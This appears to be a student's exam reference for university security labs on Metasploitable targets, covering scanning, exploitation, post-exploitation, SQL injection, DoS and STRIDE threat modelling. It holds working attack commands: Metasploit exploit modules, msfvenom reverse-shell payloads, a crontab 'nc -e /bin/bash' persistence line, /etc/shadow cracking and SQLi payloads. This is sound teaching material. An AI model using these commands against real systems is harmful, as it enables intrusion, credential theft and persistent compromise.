Whaling / CEO fraud	Impersonate CEO/authority to trick employee into transfer/action	Dual authorization for financial actions; callback verification; awareness training
Vishing	Voice phishing: phone call impersonating bank/IT/authority	Never give credentials by phone; verify caller identity; callback on official number
Smishing	SMS phishing: text message with malicious link	Don't click SMS links from unknown senders; verify with official app/website
Baiting	Leave infected USB/device for victim to find and plug in	USB device policies; disable autorun; awareness training; endpoint protection
Tailgating / Piggybacking	Follow authorized person through secured door	Badge access; mantraps; security guards; no-piggyback policy; challenge unknown persons
Shoulder surfing	Observe someone entering PIN/password/sensitive info	Privacy screens; awareness of surroundings; cover keypad at ATM
Dumpster diving	Search trash for sensitive documents, notes, credentials	Shred documents; secure disposal policy; clean-desk policy
Waterholing	Compromise a legitimate website frequently visited by target group	Keep browsers/plugins updated; network monitoring; web filtering
WiFi spoofing	Set up fake WiFi hotspot mimicking legitimate network	VPN on public WiFi; verify network name; don't auto-connect; use HTTPS
Pretexting	Create fabricated scenario to extract info (fake IT support, delivery, etc.)	Verify identity before disclosing info; call back on known number; awareness training

Persuasion techniques attackers use: Authority (pretend someone important), Fear/Urgency (panic to act quickly), Scarcity (limited time/spots), Trust/Familiarity (pretend known person), Plausibility (believable enough not to question), Reciprocity (do a favor first), Curiosity, Convenience.

One-page command cheat-sheet (fast open-book lookup)

```
# RECON / SCAN
whois <domain> ; host <name> ; whois <IP>
nmap -sS <t> # SYN/stealth nmap -sT <t> # connect
nmap -sV -O -sC <t> # versions+OS+scripts (CVE matching)
netdiscover # local host discovery

# METASPLOIT EXPLOITS (MS2 10.0.2.4 / MS3 10.0.2.15 / Kali 10.0.2.3)
nc 10.0.2.4 1524 # bindshell root
use exploit/unix/ftp/vsftpd_234_backdoor # CVE-2011-2523
use exploit/unix/irc/unreal_ircd_3281_backdoor # CVE-2010-2075
use exploit/multi/samba/usermap_script # CVE-2007-2447 RCE
use exploit/windows/smb/ms17_010_eternalblue # MS17-010 -> SYSTEM
use auxiliary/scanner/winrm/winrm_login # vagrant:vagrant
rlogin -l root 10.0.2.4 # passwordless root
set RHOSTS .. ; set LHOST .. ; set payload .. ; run ; sessions -i N

# PAYLOADS
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=10.0.2.3 lport=4444 -f elf -o p.elf
use exploit/multi/handler ; set payload <same> ; set LHOST.. ; set LPORT.. ; run

# POST-EXPLOIT
whoami ; id ; getuid ; sysinfo ; getsystem ; hashdump
cat /etc/passwd ; cat /etc/shadow

# PASSWORDS
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

# SQLi (DVWA, ports 80 + 3306)
' OR 1=1# UNION SELECT user, password FROM users

# CRYPTO
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 = kx | auth | cipher | hash
2^80 / 2^30 = 2^50 s ~ 35.7M yrs ; use RSA-OAEP padding
```

CyberLabs — Explained

Cybersecurity Exam Reference

Labs 2, 3, 5, 6, 8 & 9

How to use: Ctrl+F keywords. Each section has the lab number, topic, and likely exam angles.

Each lab includes both the detailed Exam Reference and the condensed Notes.

Table of Contents

LAB 2 — RECONNAISSANCE & VULNERABILITY ASSESSMENT

2.1 Whois & DNS Reconnaissance (Exercise 1)

What whois reveals: domain owner, registration/expiry dates, nameservers, registrant contact info, DNSSEC status, IP ranges, hosting provider.

Why it matters for attackers/analysts: maps the target's infrastructure — who owns what, what's self-hosted vs cloud-hosted, which IP ranges belong to the organization, and where the attack surface begins.

Key finding from the lab: `www.sdu.dk` resolved to Microsoft infrastructure (52.233.201.66) while `nextcloud.sdu.dk` resolved to SDU's own IP range (130.225.128.0-130.225.159.255). This shows organizations often use a mix of cloud and on-premise hosting — different hosting = different security postures and responsible parties.

Commands to know:

- `whois sdu.dk` → domain info
- `host www.sdu.dk` → resolve hostname to IP
- `whois <IP>` → find who owns the IP block

2.2 Nmap Scan Types (Exercise 2)

Scan Type	Command	How It Works	Pros	Cons	When to Use
SYN scan	nmap -sS	Sends SYN, waits for SYN-ACK, never completes handshake	Fast, stealthy, not logged by most apps	Requires root	Quick recon, stealth matters
Connect scan	nmap -sT	Completes full TCP 3-way handshake	No root needed, works through proxies	Slower, visible in logs	No root access, scanning through proxies
Comprehensive	nmap -sV -O -sC	Adds version detection, OS fingerprinting, NSE scripts	Reveals exact versions for CVE matching, OS, extra vulns	Slow, noisy, easily detected by IDS	Full vulnerability assessment before exploitation

Key concept: SYN and Connect scans found the same open ports — SYN scan is not "better" at finding ports, it's just stealthier. The comprehensive scan is where the real value lies: it found vsftpd 2.3.4 (→ CVE-2011-2523), UnrealIRCd 3.2.8.1 (→ CVE-2010-2075), exact OS versions, and script-based findings like SSLv2 weak ciphers.

Why version detection matters: knowing that the FTP server is specifically vsftpd 2.3.4 (not just "FTP is open") lets you look up known CVEs. Without `-sV`, you only know a port is open — with it, you can plan exploitation.

2.3 Nessus vs GVM/OpenVAS (Exercises 3, 4, 6)

Nessus = commercial vulnerability scanner. **GVM/OpenVAS** = open-source alternative.

What automated scanners do that Nmap doesn't:

- Map open ports to specific CVEs automatically
- Check for default credentials (VNC password "password", MySQL empty root)
- Identify end-of-life software
- Provide CVSS severity ratings for prioritization
- Run hundreds of checks simultaneously

Nessus strengths over GVM:

- Successfully scanned both MS2 (Linux) and MS3 (Windows) — GVM couldn't reach MS3
- Faster scan completion
- Better Windows support (SMB/RDP checks)
- Cleaner interface, better grouping of findings

GVM strengths over Nessus:

- Found MORE critical vulns on MS2 (14 vs 11 critical)
- Actively tested credentials (logged into MySQL with empty root password, PostgreSQL with postgres:postgres)
- More aggressive active checks (Ghostcat, PHP CGI RCE, DistCC)
- Found ports Nessus missed entirely (3632/DistCC, 8787/dRuby)
- Open source, no scan limits

Key takeaway for exam: Neither tool alone is sufficient. GVM found more exploitable vulns through active checks, Nessus was the only tool that assessed the Windows target. Using both gives the most complete picture.

False positives from lab: GVM flagged EasyPHP, QWikiwiki, and awiki vulnerabilities — these were actually Mutillidae being misidentified. This is why manual verification matters.

2.4 Authenticated vs Unauthenticated Scanning (Exercises 5, 7)

This is a high-value exam topic. The difference is dramatic.

Metric	Unauthenticated	Authenticated	Difference
Critical	11	27	+16
High	7	97	+90
Medium	26	144	+118
Total grouped types	~53	92	nearly doubled

What authenticated scanning found that unauthenticated couldn't:

- **Bash Shellshock** (CVE-2014-6271) — requires inspecting the bash binary locally
- **Weak Debian OpenSSH keys** in authorized_keys (CVE-2008-0166) — requires reading the file via SSH
- **229 unpatched Ubuntu package CVEs** — requires querying the package manager via SSH
- **Vim vulnerabilities** — local software, only visible via package inspection
- **Linux user list, mounted devices, PATH variables** — system config details
- **Netstat port scan via SSH** — found 43 additional ports not visible externally
- **Log4j installed** — software inventory only possible with local access

Why this matters: An unauthenticated scan is a black-box surface-level assessment. An authenticated scan is a deep internal audit. The severity of existing findings did NOT change — authentication only ADDED new findings

on top. Authenticated scans are essential for accurate vulnerability management in production.

Credentials used: msfadmin/msfadmin via SSH on MS2. MS3 (Windows) couldn't authenticate because SSH credentials don't apply to Windows.

2.5 Vulnerability Assessment Report (Exercises 8, 9)

MS2 (Linux Ubuntu 8.04) security posture: Critically exposed. OS end-of-life since 2013. 23 open ports. Multiple backdoors (vsftpd, UnrealIRCd), open root shell (port 1524), default credentials everywhere (MySQL, PostgreSQL, VNC, FTP). Multiple independent paths to root with zero credentials needed.

MS3 (Windows Server 2008 R2) security posture: Also critical but different profile. EOL since Jan 2020. 18 open ports. RDP exposed (BlueKeep risk), SMB exposed (EternalBlue risk), GlassFish with expired cert, Elasticsearch unauthenticated API.

Difference between the two: MS2 has more direct exploitation paths (backdoors, default creds). MS3 has fewer paths but exposes higher-value Windows services (RDP, SMB) with wormable exploit potential. MS2 = greater immediate exploitation risk. MS3 = greater network propagation risk.

Prioritization logic for MS2 services (know this reasoning):

1. **vsftpd** (Priority 1) — instant unauthenticated root, single crafted login, no prerequisites
2. **UnrealIRCd** (Priority 2) — same severity but IRC less commonly exposed externally than FTP
3. **MySQL** (Priority 3) — needs to reach port 3306 and authenticate (trivial since empty password), but one extra step vs backdoors
4. **Samba** (Priority 4) — commands execute as Samba daemon user, not guaranteed root — may need privilege escalation

---

Lab 02 · Notes: Scanning & Reconnaissance

Whois & DNS

whois reveals: registrant (who owns domain), registration/expiry dates, nameservers, DNSSEC, abuse contacts. host resolves hostname to IP. Reveals CNAMEs (aliases) and mail handlers.

- `www.sdu.dk` → 52.233.201.66 = Microsoft Azure (cloud-hosted)
- `nextcloud.sdu.dk` → 130.225.156.61 = SDU own range (130.225.128.0/19)
- SDU uses hybrid hosting: cloud for public site, on-prem for internal services

Why attackers care: maps infrastructure, finds IP ranges, identifies hosting providers, discovers subdomains as further targets.

Nmap Scan Types

SYN scan (-sS): Sends SYN, receives SYN-ACK, sends RST. Never completes handshake. Fast, stealthy (not logged by apps). Requires root. Default when run as root.

Connect scan (-sT): Full TCP 3-way handshake (SYN → SYN-ACK → ACK), then closes. No root needed, works through proxies. Slower, logged by apps/firewalls.

Comprehensive (-sV -O -sC): -sV = service version probing. -O = OS fingerprint. -sC = default NSE scripts. Much slower (25-110s vs <2s) and noisy (detected by IDS). Reveals exact versions for CVE matching. Example: version detection shows vsftpd 2.3.4, immediately flags CVE-2011-2523 backdoor.

Results Summary

MS2 (10.0.2.4, Ubuntu 8.04): 23 open ports — vsftpd 2.3.4, OpenSSH 4.7p1, Apache 2.2.8, MySQL 5.0.51a, UnrealIRCd 3.2.8.1, Samba 3.0.20, bindshell 1524, PostgreSQL 8.3, VNC, Tomcat 5.5.

MS3 (10.0.2.15, Win 2008 R2 SP1): 18 open ports — IIS 7.5, MySQL 5.5.20, GlassFish 4.0, Elasticsearch 1.1.1 (no auth), RDP 3389, SMB signing disabled.

Nessus vs GVM/OpenVAS

- Nessus: commercial. Better Windows support. MS2: 11 Crit, 7 High. MS3: 15 Crit, 22 High.
- GVM: open-source, free. More aggressive active checks. Found 14 Crit on MS2. BUT failed to scan MS3 entirely.
- GVM extras: MySQL empty root pass, PostgreSQL default creds, DistCC RCE (port 3632), dRuby RCE (8787), PHP CGI RCE, Ghostcat, Samba CVE-2007-2447.
- Neither alone is sufficient — use both + manual verification.
- False positives: GVM flagged EasyPHP (was just phpinfo()), QWikiwiki (was Mutillidae).

Authenticated vs Unauthenticated

Creds: msfadmin/msfadmin via SSH. Results jumped: Crit 11→27, High 7→97, Med 26→144.

New findings only with auth: Bash Shellshock (CVE-2014-6271), Weak Debian SSH keys (CVE-2008-0166), 229 unpatched Ubuntu package CVEs, full user list, mounted filesystems, installed software (Log4j detected).

Why: auth scan queries package manager, reads /etc/shadow, inspects authorized_keys, checks local binaries. Unauth only probes network-facing services. Existing findings did NOT change severity. Auth only ADDS new findings.

Unauthenticated = black-box surface scan. **Authenticated** = white-box internal audit.

LAB 3 — EXPLOITATION & POST-EXPLOITATION

3.1 Vulnerability Classification (Exercise 1)

Know the vulnerability types and be able to categorize:

Type	Examples from Lab
Backdoored service	vsftpd 2.3.4 (CVE-2011-2523), UnrealIRCd 3.2.8.1 (CVE-2010-2075)
Default/weak credentials	MySQL empty root password, PostgreSQL postgres:postgres, VNC password "password", rlogin passwordless
Remote Code Execution (RCE)	Samba CVE-2007-2447, EternalBlue CVE-2017-0144, Ghostcat CVE-2020-1938
Legacy insecure protocol	Telnet (cleartext), rexec, rsh (trust-based, no encryption)
Outdated/EOL software	Ubuntu 8.04, Apache 2.2.8, OpenSSH 4.7p1, Windows Server 2008 R2
Misconfiguration	Bind shell on port 1524, directory listing enabled, anonymous FTP, SMB signing disabled
Web application vulnerability	SQL injection in DVWA/Mutillidae, PHP CGI RCE, LFI

3.2 Exploitation Strategy & Planning (Exercise 2)

MS2 Top 5 targets and WHY (in priority order):

1. **Bindshell (port 1524)** — zero effort, just `nc 10.0.2.4 1524` = instant root. No exploit, no credentials, no tool needed.
2. **vsftpd 2.3.4 (port 21)** — single malformed login triggers root shell on port 6200. Fully automated via Metasploit.
3. **UnrealIRCd (port 6667)** — single AB-prefixed string = shell. IRC less commonly exposed than FTP, so slightly less universal.
4. **rlogin (port 513)** — passwordless root via trust-based .rhosts. Needs rlogin client which may not always be available.
5. **Samba (port 445)** — CVE-2007-2447 username injection. Runs as Samba daemon user, not guaranteed root — may need privilege escalation.

MS3 Top 5 targets:

1. **SMB/EternalBlue (port 445)** — wormable, unauthenticated, delivers SYSTEM directly. Most reliable.
2. **RDP/BlueKeep (port 3389)** — also wormable pre-auth RCE, but less reliable, can crash system.
3. **GlassFish (port 4848)** — may need default creds (admin/adminadmin), then WAR deployment for RCE.
4. **Elasticsearch (port 9200)** — unauthenticated API, CVE-2014-3120 dynamic script RCE.
5. **MySQL (port 3306)** — requires credential guessing first.

Authentication requirements — key point: ALL five MS2 targets need NO authentication. On MS3, the top 3 (EternalBlue, BlueKeep, Elasticsearch) need no auth; GlassFish and MySQL need credentials.

Immediate root/SYSTEM access (no escalation): Bindshell, vsftpd, rlogin on MS2. EternalBlue, BlueKeep on MS3.

3.3 Actual Exploitation — Know the Attack Paths (Exercise 3)

Be able to explain HOW each exploit works, not just the command:

Exploit	Mechanism	Result
Bindshell	Port 1524 is a hardcoded root shell. nc 10.0.2.4 1524 connects directly.	root (uid=0)
vsftpd 2.3.4	Username with :) triggers backdoor → opens shell on port 6200. Module: exploit/unix/ftp/vsftpd_234_backdoor	root
UnrealIRCd	AB-prefixed string sent to IRC port triggers command execution. Module: exploit/unix/irc/unreal_ircd_3281_backdoor Uses reverse shell payload.	root
rlogin	Trust-based .rhosts allows passwordless root login. rlogin -l root 10.0.2.4	root
Samba CVE-2007-2447	Username field passed unsanitized to /bin/sh — shell metacharacters = command injection. Module: exploit/multi/samba/usermap_script	root
EternalBlue MS17-010	Buffer overflow in SMBv1 → overwrites kernel memory → injects Meterpreter. Module: exploit/windows/smb/ms17_010_eternalblue	NT AUTHORITY \SYSTEM
WinRM login	Default credentials vagrant:vagrant. Module: auxiliary/scanner/winrm/winrm_login	Standard user (vagrant)

Privilege escalation on MS3: vagrant (standard user via WinRM) → SYSTEM (via EternalBlue). EternalBlue itself IS the escalation — it goes from unauthenticated to kernel-level SYSTEM.

3.4 Post-Exploitation (Exercise 4)

What you do after getting access (know these concepts):

1. Credential harvesting:

- `/etc/shadow` contains password hashes (MD5 format `$1$` on MS2 — weak, crackable)
- Crack with: `john --wordlist=/usr/share/wordlists/rockyou.txt /etc/shadow`
- Database credentials: MySQL root empty password, PostgreSQL postgres:postgres
- Web app config files in `/var/www/` contain database connection strings

2. Sensitive file locations:

- `/etc/shadow` — password hashes
- `/etc/passwd` — user accounts
- Config files: vsftpd.conf, smb.conf, unrealircd.conf, apache2.conf, proftpd/sql.conf
- Web app configs with DB credentials

3. Persistence mechanisms (how attacker stays in):

- Add SSH key to `/root/.ssh/authorized_keys`
- Add new root user to `/etc/passwd` (uid=0)
- Crontab backdoor (`* * * * * nc -e /bin/bash <IP> 4444`)

- Modify `/etc/rc.local` for boot-time reverse shell
- Replace service binary with backdoored version
- Already-existing persistence: bindshell (port 1524), vsftpd backdoor, UnrealIRCd backdoor, .rhosts trust

4. Lateral movement possibilities:

- Reuse harvested credentials on other systems (msfadmin:msfadmin, postgres:postgres)
- Use compromised MS2 as pivot point to scan internal network
- Check ARP cache (`arp -n`) for other hosts
- .rhosts trust files may reference other trusted hosts
- Shared credentials in config files may work on other systems

3.5 Payload Creation & Delivery (Exercises 6, 7, 8)

msfvenom — creates standalone payloads:

- Linux: `msfvenom -a x86 --platform linux -f elf -p linux/x86/meterpreter/reverse_tcp lhost=10.0.2.3 lport=4444 -o payload.elf`
- Windows: `msfvenom -a x86 --platform windows -f exe -p windows/meterpreter/reverse_tcp lhost=10.0.2.3 lport=4444 -o payload.exe`

How reverse TCP works: payload executes on target → connects BACK to attacker's listener (multi/handler) on LHOST:LPORT → Meterpreter session opens. The attacker listens, the target connects out — this bypasses firewalls that block inbound connections but allow outbound.

Setting up the listener:

```
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 10.0.2.3
set LPORT 4444
run
```

LHOST and LPORT must match payload creation exactly.

Delivery methods: netcat transfer, phishing email attachment, malicious download, USB drop, exploiting another vulnerability to download and execute, embedding in legitimate installer, SMB share.

Netcat transfer:

- Receiver (target): `nc -lvnp 5555 > payload.elf`
- Sender (Kali): `nc 10.0.2.4 5555 < payload.elf`
- Then: `chmod a+x payload.elf && ./payload.elf`

3.6 Executive Report Writing (Exercise 5)

Structure of a finding in a pentest report (know this format):

1. **CVE reference**
2. **Severity** (with CVSS score)
3. **Affected system** (IP, port)
4. **Root cause** — WHY the vulnerability exists (technical explanation)
5. **Exploitation method** — HOW it was exploited (what module, step by step)

6. **Impact** — WHAT an attacker can do (business language, not just "got root")
7. **Remediation** — HOW to fix it (specific, actionable)

Business impact language (how to frame findings for executives):

- Steal all data (databases, credentials, proprietary data)
- Move laterally to other systems using harvested credentials
- Install persistent backdoors and ransomware
- Disrupt/destroy services
- Use compromised machines as pivot points for deeper network attack

---

Lab 03 · Notes: Exploitation & Post-Exploitation

MS2 Exploits · How & Why They Work

1. Bindshell (port 1524) — Hardcoded root shell in inetd config. `nc 10.0.2.4 1524` = instant root. Zero effort, CVSS 10.0. Misconfiguration-based.

2. vsftpd 2.3.4 (port 21) · CVE-2011-2523 — Supply-chain attack: attacker compromised source distribution server, injected backdoor. Username containing `:)` triggers root shell on port 6200. Metasploit: `exploit/unix/ftp/vsftpd_234_backdoor`.

3. UnrealIRCd 3.2.8.1 (port 6667) · CVE-2010-2075 — Another supply-chain compromise. String prefixed with `AB` triggers command execution. Metasploit: `exploit/unix/irc/unreal_ircd_3281_backdoor`. Uses reverse shell payload.

4. rlogin (port 513) — Trust-based auth via .rhosts files. `rlogin -l root 10.0.2.4` = instant root, no password. Legacy protocol.

5. Samba 3.0.20 (port 445) · CVE-2007-2447 — Username field passed unsanitized to /bin/sh. Shell metacharacter injection → arbitrary command exec. Metasploit: `exploit/multi/samba/usermap_script`.

All 5 require NO authentication. All give root on MS2.

MS3 Exploits

EternalBlue (SMB port 445) · CVE-2017-0144 / MS17-010 — Buffer overflow in SMBv1 kernel pool. Overwrites kernel memory, injects shellcode → NT AUTHORITY\SYSTEM. No auth. Wormable (WannaCry, NotPetya). Metasploit: `exploit/windows/smb/ms17_010_eternalblue`.

WinRM (port 5985) — Default creds vagrant:vagrant. Standard user (not SYSTEM). Credential-based compromise. Metasploit: `auxiliary/scanner/winrm/winrm_login`.

Privilege escalation: EternalBlue IS the escalation: unauthenticated → SYSTEM via kernel exploit, bypasses all user boundaries.

Post-Exploitation

Credential Harvesting: /etc/shadow has password hashes. All MS2 use 1 = MD5 (weak, easily cracked). `john --wordlist=/usr/share/wordlists/rockyou.txt /etc/shadow`. Known: msfadmin:msfadmin, MySQL root:(empty), PostgreSQL postgres:postgres. Web app configs in /var/www/ contain DB connection strings.

Persistence: Already on MS2: bindshell (inetd), vsftpd/UnrealIRCd backdoors (compiled in), .rhosts trust. Attacker can add: SSH key to /root/.ssh/authorized_keys, new uid=0 user in /etc/passwd, crontab reverse shell, reverse shell in /etc/rc.local, replace service binary.

Lateral Movement: Reuse harvested creds, crack /etc/shadow hashes and spray across network, use MS2 as pivot, check ARP cache (`arp -n`), exploit .rhosts trust relationships.

Payloads & Shells

`msfvenom` flags: `-a` (arch), `--platform`, `-f` (format: elf/exe), `-p` (payload), lhost/lport (callback).

- **Bind shell**: target opens port, attacker connects TO it. Blocked by firewalls (inbound).
- **Reverse shell**: target connects BACK to attacker. Bypasses most firewalls (outbound allowed). Preferred.

`multi/handler`: Metasploit listener for payload callbacks. LHOST/LPORT must match payload exactly.

Delivery: phishing, drive-by download, USB drop, exploit chain, embed in installer, SMB share.

LAB 5 — SQL INJECTION

5.1 SQL Injection Concepts

What is SQL injection? The application directly concatenates user input into SQL queries without validation or sanitization, allowing attackers to manipulate query logic.

The payload that worked: `' OR 1=1#`

- `'` closes the original SQL string
- `OR 1=1` is always true → returns ALL rows
- `#` comments out the rest of the query (MySQL-specific comment syntax)

Type: This is **in-band (classic)** SQL injection.

Does # always work? No. It depends on the database system (MySQL supports #); others may need `--` or `/* */`) and query structure.

Other tested payloads: `' OR 1=1`, `" OR 1=1`, `" OR 1=1#` — only `' OR 1=1#` worked because the app uses single-quoted strings in MySQL.

5.2 What Was Extracted

- All usernames and password hashes from the database (admin, gordonb, 1337, pablo, etc.)
- Passwords hashed with **MD5** — outdated and insecure, vulnerable to dictionary attacks and rainbow tables
- DVWA config file revealed: database host = localhost, database name = dvwa, username = root, password = (empty)

5.3 Privilege Escalation Chain

SQL Injection → extracted credentials → SSH login as msfadmin → msfadmin has sudo → root access.

Issues that enabled this chain:

1. SQL Injection vulnerability (no input validation)
2. Weak password hashing (MD5)
3. msfadmin user has sudo privileges (violates least privilege)
4. SSH accessible from outside (should be firewalled)
5. Database root has no password

5.4 Can SQL Injection Expose an Otherwise Inaccessible Database?

Yes. Even if the database server is not directly accessible from the network, SQL injection exploits the web application as an intermediary. The web app has a legitimate connection to the database, and the attacker hijacks that connection through the injection.

5.5 How to Fix / Security Policy (know these — likely exam question)

1. **Prepared statements** (parameterized queries) — prevents SQL injection entirely
2. **bcrypt or Argon2** with salt for password storage — not MD5
3. **Strong password policies** (length, complexity)

4. **Least privilege** — service accounts must not have root/sudo unless necessary
5. **Restrict database access** to localhost or trusted hosts only
6. **Disable directory listing** on web servers
7. **SSH key-based authentication** and firewall restrictions

---

Lab 05 · Notes: SQL Injection

SQL injection = user input concatenated directly into SQL query without sanitization. App builds: `SELECT * FROM users WHERE user='INPUT' AND pass='INPUT'`. Attacker input `' OR 1=1#` makes it: `WHERE user='' OR 1=1#' AND pass='...'`

Comment styles:

- `#` — MySQL only
- `--` (with space) — standard SQL (MySQL, PostgreSQL, MSSQL, Oracle)
- `/* */` — block comment, works in most databases

Types of SQL Injection:

- **In-band (Classic)**: results shown directly in response. Used in DVWA lab.
- **Blind**: no visible output. Boolean-based (true/false) or time-based (SLEEP delays).
- **Out-of-band**: data exfiltrated via DNS/HTTP to attacker server.

UNION-based Extraction:

```
' UNION SELECT user, password FROM users#
```

UNION combines two SELECT results. Must have same number of columns as original query.

Password Issues & Fixes:

Extracted hashes used MD5 — fast to compute = easy to brute force. No salt. Fix: bcrypt or Argon2 (slow, salted, GPU-resistant). Enforce strong passwords.

Attack Chain:

SQLi on port 80 (DVWA) → extract hashes from MySQL (3306) → crack MD5 → SSH as msfadmin → sudo → root. SQLi exposed database NOT directly accessible — web app was the intermediary. DVWA config: `db_user=root, db_password=(empty)`. Critical misconfiguration.

Fixes:

- Prepared statements (parameterized queries) — prevents SQLi entirely
- Hash with bcrypt/Argon2 + salt
- Least privilege — no sudo for service accounts
- Restrict SSH — firewall + key-based auth
- Disable directory listing
- Strong DB passwords, restrict to localhost only

LAB 6 — DENIAL OF SERVICE / PERFORMANCE MONITORING

6.1 Baseline

Under normal conditions: CPU idle >90%, memory stable, no bottlenecks, system responsive. Key services: Apache (80), MySQL (3306), vsftpd (21), SSH (22).

6.2 Three Attack Types and Their Effects

Attack	What It Targets	Symptoms	Severity
Port scan (Nmap)	Network stack (kernel interrupts)	Increased software interrupts (%si), CPU spikes from handling connection attempts	Moderate
HTTP flood	Application layer (Apache workers)	Apache worker processes multiply, response times increase, timeouts at 500 parallel requests	High
I/O exhaustion	CPU + disk directly	Extreme CPU/disk utilization, typing delays, system instability	Highest — fastest and most severe

Key comparison point: I/O exhaustion caused the most severe degradation because it directly consumed core system resources (CPU + disk), while HTTP flood exhausted application-layer resources (Apache workers), and port scan only stressed the network stack (kernel interrupts).

6.3 Why Metasploitable 2 Is Especially Vulnerable to DoS

- Outdated services with no modern protections (no rate limiting, no traffic filtering)
- Limited CPU and memory resources
- Inefficient service implementations that handle high load poorly

6.4 Apache Logs as Evidence

Access logs showed repeated HTTP requests from attacker IP in short time = visible evidence of flood. Error logs may contain timeout/resource messages. Logs confirm the attack was visible at the application level — this matters for forensics and incident response.

6.5 Key Lessons (likely exam question)

- **DoS attacks exhaust resources, not exploit vulnerabilities** — fundamentally different from exploitation
- Different workload types affect different system layers: network (port scan), application (HTTP flood), core (I/O)
- Even simple techniques can severely degrade performance
- Real-world attackers combine multiple techniques
- Additional DoS techniques: SYN flood (hping3), MySQL connection exhaustion, Slowloris (slow HTTP)
- **Slowloris** is worth knowing: sends partial HTTP requests very slowly to keep connections open and exhaust the server's connection pool

Lab 06 · Notes: Denial of Service

Core concept: DoS exhausts resources, does NOT exploit vulnerabilities. Different workloads target different system components.

Three Attack Types:

1. Port Scan (Nmap) — Affects: kernel/network stack. %si (software interrupts) → 99%. Many incoming connection attempts overwhelm network processing.

2. HTTP Flood — Affects: application layer (Apache workers). Layer 7 DoS. 200 requests = moderate delay. 500 = severe, timeouts, failures. Symptoms: slow responses, Apache CPU spikes.

3. I/O Exhaustion — Affects: CPU + disk directly. Most severe and fastest degradation. Typing lag, system instability. Internal resource exhaustion.

Comparison:

- Port scan → network + interrupts
- HTTP flood → application workers (Layer 7)
- I/O attack → CPU + disk (most damaging overall)

I/O exhaustion had strongest impact because it directly consumes core resources.

Detection:

Apache access logs: repeated requests from attacker IP in short time. Error logs: timeouts, resource errors.

Why MS2 is Vulnerable:

Outdated services, no rate limiting, no traffic filtering, limited resources, inefficient implementations.

Other DoS Techniques:

- SYN flood (hping3): SYN without completing handshake, fills connection table
- Slowloris: slow partial HTTP headers keep connections open, ties up all workers
- MySQL connection exhaustion: overwhelms DB connection pool

LAB 8 — THREAT MODELING WITH STRIDE

8.1 What is STRIDE?

STRIDE is a threat modeling framework. Each letter represents a threat category:

Letter	Threat	Opposite Security Property	Meaning
S	Spoofing	Authentication	Pretending to be someone/something else
T	Tampering	Integrity	Unauthorized modification of data
R	Repudiation	Non-repudiation	Denying having performed an action (no proof)
I	Information Disclosure	Confidentiality	Exposing data to unauthorized parties
D	Denial of Service	Availability	Making system/service unavailable
E	Elevation of Privilege	Authorization	Gaining more permissions than intended

8.2 Data Flow Diagram (DFD) Concepts

A DFD shows: **external entities** (users, devices), **processes** (authentication, data management), **data stores** (local storage, cloud), **data flows** (arrows), and **trust boundaries** (separate trusted from untrusted zones).

Trust boundaries are crucial: they mark where data crosses from one trust level to another — these crossing points are where threats are most likely.

8.3 Original System — Android Health App

Architecture: User → Authentication Process → Health Data Management Process → Local Storage. All on-device. User manually enters/edits/deletes health data. One trust boundary between external user and Android device.

STRIDE analysis for each category (be able to give examples for any):

Category	Threat Examples	Mitigations
Spoofing	Stolen credentials, fake login screen (malware), weak passwords	Strong passwords, MFA, biometrics, rate limiting/lockout
Tampering	Attacker modifies local health data, malware changes files, rooted device bypasses protections	Encrypt local storage, Android Keystore, integrity checks, root detection
Repudiation	User denies editing/deleting records, no logs for login attempts	Audit logging, timestamps, tamper-resistant logs
Info Disclosure	Health data readable by other apps, credentials in plaintext, data in logs/backups/screenshots	Encrypt sensitive data, never store passwords in plaintext, secure storage APIs, disable sensitive data in logs
DoS	Failed logins lock out user, corrupted storage crashes app, malformed data causes failures	Safe error handling, input validation, backoff (not permanent lockout), backup/recovery

Category	Threat Examples	Mitigations
EoP	Malicious app accesses health data via OS weakness, rooted device bypasses sandbox, insecure exported components	Least privilege, proper Android manifest permissions, root detection, secure coding

8.4 Updated System — Fitness Tracker

Key architectural changes from original:

- Data now collected AUTOMATICALLY from external fitness device (not manual entry)
- **Bluetooth communication** introduced (new attack surface)
- Data processing/cleaning step added
- **Cloud storage** added (data synced, not just local)
- User can only VIEW data, not modify it
- **New trust boundaries:** Android device ↔ external device, Android device ↔ cloud

New threats introduced by the update:

Category	New Threats from Update
Spoofing	Fake Bluetooth device impersonates tracker, malicious service impersonates cloud backend
Tampering	Data altered during Bluetooth transmission, manipulated device sends false fitness data, cloud data modified
Repudiation	Bad data can't be traced to source device, cloud updates can't be attributed
Info Disclosure	Bluetooth leaks fitness data, cloud storage leaks synced history, metadata reveals behavior patterns
DoS	Bluetooth jamming, malformed device data crashes processing, cloud outage prevents sync
EoP	Compromised cloud account gives broader access, rooted device reads processed data

Key exam point: The updated system has a LARGER attack surface. The biggest new risks come from: wireless Bluetooth communication (interception, spoofing, jamming), cloud exposure (new trust boundary, data in transit and at rest), and trust in third-party devices (can you trust the data the device sends?).

Lab 08 · Notes: Threat Modeling (STRIDE)

DFD Components:

- External Entity = user or external system (rectangle)
- Process = transforms data (circle)
- Data Store = where data is kept (parallel lines)
- Data Flow = movement of data (arrow)

- Trust Boundary = separates trusted from untrusted (dashed line)

STRIDE Categories:

S · Spoofing (threatens Authentication) — Pretending to be someone else. Ex: stolen creds, fake login screen, fake BT device. Fix: MFA, strong auth, device verification.

T · Tampering (threatens Integrity) — Unauthorized data modification. Ex: alter local data, modify BT transmission, change cloud data. Fix: encryption, integrity checks, secure storage.

R · Repudiation (threatens Non-repudiation) — Denying action with no proof. Ex: no login logs, user denies editing. Fix: audit logging, timestamps.

I · Information Disclosure (threatens Confidentiality) — Data exposed to unauthorized parties. Ex: plaintext creds, data in backups, BT leakage. Fix: encrypt at rest + in transit, access control.

D · Denial of Service (threatens Availability) — System unavailable. Ex: login lockout, corrupted storage, BT jamming. Fix: rate limiting, validation, redundancy.

E · Elevation of Privilege (threatens Authorization) — Gaining unauthorized permissions. Ex: rooted device, insecure Android components. Fix: least privilege, root detection, secure manifest.

Basic Health App (Exercise 2):

System: Android app, login, manual health data entry, local storage only. Trust boundary: external user → Android device internals. All six STRIDE threats apply to this simple system.

Updated Fitness Tracker (Exercise 4):

Changes: auto-collect from BT device, data processed/cleaned, local + cloud storage, user can only VIEW. New trust boundaries: device ↔ BT tracker, device ↔ cloud.

